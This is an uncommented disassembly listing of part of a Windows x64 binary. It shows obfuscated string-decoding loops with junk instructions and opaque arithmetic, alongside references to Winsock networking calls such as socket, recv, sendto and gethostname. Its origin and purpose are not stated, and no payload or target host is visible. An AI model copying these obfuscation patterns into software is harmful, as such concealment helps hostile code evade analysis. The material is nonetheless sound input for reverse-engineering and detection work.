add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140077523
cmp r8, 0x2a
jb 0x140077b9f
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x64]
jmp 0x140077cea
mov byte [rbp + r10 + 0x260], dil
inc r10
jmp 0x140077523
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x260]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x140077c61
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140077d80
lea ecx, [r10 + 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
lea edx, [r10 - 0x31]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x57
add dil, dl
jmp 0x140077d80
movzx r11d, r10b
lea edx, [r11 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
add dil, dl
add r11b, 0x6d
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 5
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x260], cl
add rbx, r8
jmp 0x140077d4d
lea ecx, [r10 - 0x59]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6f
dec r10
inc r10
jmp 0x140077523
movzx r11d, r10b
lea edx, [r11 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
jmp 0x140077ce7
movzx r11d, r10b
lea edx, [r11 + 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x79
add dil, dl
sub r11b, 0x5d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x75
add r9b, r11b
mov byte [rbp + r10 + 0x260], r9b
inc r8
dec r10
inc r10
jmp 0x140077523
lea ecx, [r10 - 0x15]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6d
dec r10
inc r10
jmp 0x140077523
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x25
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140077523
lea rcx, [r10 + r13]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x55
add dil, cl
lea edx, [r10 + 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x260], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x44
add r9b, cl
mov byte [rbp + r10 + 0x260], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
lea rcx, [r10 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x49
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
add r10b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4f
jmp 0x140077520
sub r10b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x37
jmp 0x140077510
lea rcx, [rbp + 0x1567a3c]
jmp 0x140077e6e
lea rcx, [rbp + 0xb3a1a1]
jmp 0x140077e6e
lea rcx, [rbp + 0x260]
lea rdx, [0x1401ed240]
call fcn.140039930
mov byte [rbp + 0x450], 0x59
mov byte [rbp + 0x451], 0x87
mov byte [rbp + 0x452], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x453], WSAStartup
mov byte [rbp + 0x454], 0x86
mov byte [rbp + 0x455], WSAStartup
mov byte [rbp + 0x456], 0x3c
mov byte [rbp + 0x457], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x458], 0x8c
mov byte [rbp + 0x459], 0x76
mov byte [rbp + 0x45a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x45b], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x45c], 0x77
mov byte [rbp + 0x45d], 0x99
mov byte [rbp + 0x45e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x45f], __WSAFDIsSet
mov byte [rbp + 0x460], 0x90
mov byte [rbp + 0x461], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x462], xmm0
mov word [rbp + 0x472], ax
mov byte [rbp + 0x474], al
movabs rsi, 0xbb264ce10345d703
movabs r14, 0x9458b3e91d748f1b
movabs r15, 0x3172e6a309d18509
movzx edi, byte [rsp + 0x50]
xor r13d, r13d
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x25
jae 0x140078a3d
movzx r9d, byte [rbp + r10 + 0x450]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140078a34
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140077f9c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x15
jmp 0x140077fd0
je 0x1400789c6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140078999
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140078958
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140078937
nop dword [rax]
cmp r8, r10
ja 0x140078a2b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140077ffa
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x140078040
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400788f0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400788d1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400788b3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078898
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007883b
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140078576
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140078557
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140078533
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140078512
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400784ef
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400784cd
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400784ae
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007848f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078474
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140078447
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140078a0e
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400789f1
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007821d
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140078202
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400781e7
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400783ff
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400783b6
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007836f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140078050
lea rbx, [r8 + 0x28]
lea r8, [rbx + 8]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140078342
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140078323
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140078300
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400782e1
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400782c3
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400782a4
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140078283
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007825b
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140078238
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140078050
lea rbx, [r8 + 0x28]
lea r8, [rbx + 8]
jmp 0x140078050
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x140078040
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3d
jmp 0x140077fd0
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140077f66
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007890a
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140077f53
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x140077f53
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx r11d, r10b
jmp 0x140078972
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x1400789ad
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400789ad
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007880d
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078851
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1b
cmp r8, 0x400
jb 0x1400787bb
movzx r11d, r10b
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007890a
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
cmp rbx, 3
jae 0x1400787cb
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140078724
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078385
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x1400787f2
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140078674
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x1400783cc
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140078851
movzx r11d, r10b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14007880d
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400789ad
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400789ad
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078972
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
dec r10
inc r10
jmp 0x140077f53
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x140077f53
movzx r11d, r10b
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14007890a
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14007859a
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x140078415
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400785d0
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
cmp rbx, rcx
jne 0x1400785f4
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140078851
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007861c
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400789ad
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140078644
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x140078972
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140078415
movzx r11d, r10b
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007890a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007869c
movzx r11d, r10b
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
jmp 0x14007890a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400786c6
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
dec r10
inc r10
jmp 0x140077f53
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400786ea
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
jmp 0x1400789ad
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400783cc
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007875e
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078789
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400789ad
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078385
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140077f53
mov byte [rbp + r10 + 0x450], dil
inc r10
jmp 0x140077f53
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x450]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140078972
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x41
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x39
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x450], al
inc r8
add rax, r8
sub r10, rax
jmp 0x140078851
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 9
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x450], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x1400789ad
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
add rbx, r8
jmp 0x1400789ad
movzx r11d, r10b
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x140078972
movzx r11d, r10b
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
add r11b, 0x35
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x73
add r11b, r9b
mov byte [rbp + r10 + 0x450], r11b
inc r8
dec r10
inc r10
jmp 0x140077f53
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
dec r10
inc r10
jmp 0x140077f53
movzx r11d, r10b
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
add r11b, 0x3b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x63
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x450], r11b
add rbx, r8
jmp 0x1400789ad
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x43
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140077f53
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x3f
movzx eax, byte [rbp + r10 + 0x450]
add rax, r8
add r10, rax
inc r10
jmp 0x140077f53
sub r10b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x17
jmp 0x140077f50
sub r10b, 0x77
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x41
jmp 0x140077f37
lea rcx, [rbp + 0x16c7a54]
jmp 0x140078a44
lea rcx, [rbp + 0xf25157]
jmp 0x140078a44
lea rcx, [rbp + 0x450]
lea rdx, [0x14017f35e]
call fcn.140039930
mov byte [rbp + 0x480], 0x89
mov byte [rbp + 0x481], 0x5f
mov byte [rbp + 0x482], __WSAFDIsSet
mov byte [rbp + 0x483], __WSAFDIsSet
mov byte [rbp + 0x484], 0x9c
mov byte [rbp + 0x485], __WSAFDIsSet
mov byte [rbp + 0x486], 0xd6
mov byte [rbp + 0x487], 0x87
mov byte [rbp + 0x488], 0x62
mov byte [rbp + 0x489], 0x90
mov byte [rbp + 0x48a], 0x9e
mov byte [rbp + 0x48b], __WSAFDIsSet
mov byte [rbp + 0x48c], 0x9f
mov byte [rbp + 0x48d], WSAStartup
mov byte [rbp + 0x48e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x48f], WSAGetLastError
mov byte [rbp + 0x490], WSAStartup
mov byte [rbp + 0x491], 0xdd
mov byte [rbp + 0x492], 0xa6
mov byte [rbp + 0x493], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x494], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x495], 0xe1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x496], xmm0
mov byte [rbp + 0x4a6], al
movabs rsi, 0x29292d5f788bf29a
movabs r15, 0xb8630f1fd2d950de
movabs r14, 0x99ef4b9f1e3e9456
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x27
jae 0x140079416
movzx r9d, byte [rbp + r10 + 0x480]
mov r11d, r9d
nop dword [rax]
cmp rbx, r10
ja 0x14007940d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140078b7c
lea rcx, [r10 + r15]
mov eax, r9d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x12
jmp 0x140078bb0
je 0x14007939c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007933b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079305
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400792e3
nop dword [rax]
cmp r8, r10
ja 0x140079404
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140078bde
lea edx, [r10 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
add dil, dl
jmp 0x140078c12
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079298
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079270
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007921f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079203
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140078ef3
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140078ee1
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140078ebf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140078ea3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140078e83
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140078e52
lea rbx, [r8 + 3]
lea r8, [rbx + 0x20]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400793e7
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400793ca
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140078cf6
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140078ddc
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140078db5
lea rbx, [r8 + 6]
lea r8, [rbx + 0x41]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140078d84
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140078d68
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140078d4c
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140078d27
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140078d15
lea rbx, [r8 + 0xa]
lea r8, [rbx + 1]
jmp 0x140078c20
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140078c12
lea edx, [r10 - 0x50]
mov ecx, 0x18
movzx r11d, r10b
jmp 0x1400792a5
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140078b33
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
jmp 0x140079322
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140079352
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea ecx, [r10 + 0x7a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x56
mov byte [rbp + r10 + 0x480], dil
inc r10
jmp 0x140078b33
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
add dil, dl
cmp rbx, 4
jae 0x140079191
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x1400790dc
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 8
jb 0x140078dcc
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x58]
jmp 0x1400792b6
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14007923a
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
jmp 0x14007931f
lea ecx, [r10 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 4
dec r10
inc r10
jmp 0x140078b33
movzx r11d, r10b
lea edx, [r11 + 0x64]
mov ecx, 0x22
jmp 0x1400792a5
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140078f50
lea edx, [r10 - 0x22]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x12
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 1
je 0x1400791de
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14007901e
lea edx, [r10 - 0x1a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4a
jmp 0x140078df3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078f8a
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x480]
add rax, r8
add r10, rax
inc r10
jmp 0x140078b33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078faf
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
jmp 0x140079322
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140078fc6
lea edx, [r10 + 0x5c]
mov ecx, 0x3e
jmp 0x14007930e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140078fec
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
movzx r11d, r10b
jmp 0x1400791b1
